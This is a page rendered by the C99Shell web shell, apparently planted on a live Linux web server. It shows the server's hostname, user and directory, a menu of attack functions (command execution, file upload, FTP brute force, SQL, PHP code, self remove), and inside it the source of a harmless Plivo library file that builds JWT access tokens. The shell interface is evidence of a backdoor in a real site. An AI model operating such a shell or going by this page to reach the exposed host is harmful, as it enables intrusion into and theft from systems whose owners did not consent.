!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/plivo/plivo-php/src/Plivo/Util/   drwxr-xr-x
Free 29.12 GB of 117.98 GB (24.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     jwt.php (2.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Plivo\Util;

use 
Plivo\Authentication\BasicAuth;
use 
Plivo\Exceptions\PlivoValidationException;
use 
\Firebase\JWT\JWT;

/**
 * Class jwt
 * @package Plivo\Util
 */
class AccessToken
{
    protected 
$basicAuth;
    protected 
$username;
    protected 
$validFrom;
    protected 
$lifetime 86400;
    protected 
$grants = [];
    protected 
$uid;

    
/**
     * Instantiates a new AccessToken object.
     *
     * @param string|null $authId
     * @param string|null $authToken
     * @param string $username endpoint
     * @param integer|null $validFrom valid not before this epoch
     * @param integer|null $lifetime validity in seconds
     * @param integer|null $validTill validity expires at this epoch
     * @param null $uid
     */
    
public function __construct(
        
$authId null,
        
$authToken null,
        
$username null,
        
$validFrom null,
        
$lifetime null,
        
$validTill null,
        
$uid null
    
)
    {
        
$this->basicAuth = new BasicAuth($authId$authToken);
        if (
$username == null) {
            throw new 
PlivoValidationException("null username not allowed");
        }
        
$this->username $username;
        
$this->validFrom intval($validFrom?:gmdate('U'));
        
$this->lifetime intval($lifetime?:86400);
        if (
$lifetime != null) {
            if (
$validTill != null) {
                throw new 
PlivoValidationException("use either lifetime or validTill");
            }
        } else if (
$validTill != null) {
            
$this->lifetime intval($validTill)-$this->validFrom;
            if (
$this->lifetime 180 || $this->lifetime 86400) {
                throw new 
PlivoValidationException("lifetime out of [180, 86400]");
            }
        }
        
$this->uid $uid?:$this->username."-".microtime(true);
    }
    
/**
     * Adds voice calling permissions to the token
     *
     * @param bool $incoming
     * @param bool $outgoing
     */
    
public function addVoiceGrants($incoming false$outgoing false)
    {
        
$this->grants = array(
            
"voice" => array(
                
"incoming_allow" => $incoming,
                
"outgoing_allow" => $outgoing
            
)
        );
    }

    
/**
     * Returns JWT
     * @returns string $jwt
     */
    
public function toJwt() {
        
$key $this->basicAuth->getAuthToken();
        
$headers = array(
            
"typ" => "JWT",
            
"alg" => "HS256",
            
"cty" => "plivo;v=1"
        
);
        
$payload = array(
            
"jti" => $this->uid,
            
"iss" => $this->basicAuth->getAuthId(),
            
"sub" => $this->username,
            
"nbf" => $this->validFrom,
            
"exp" => $this->validFrom $this->lifetime,
            
"grants" => $this->grants
        
);

        return 
JWT::encode($payload$key"HS256"null$headers);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--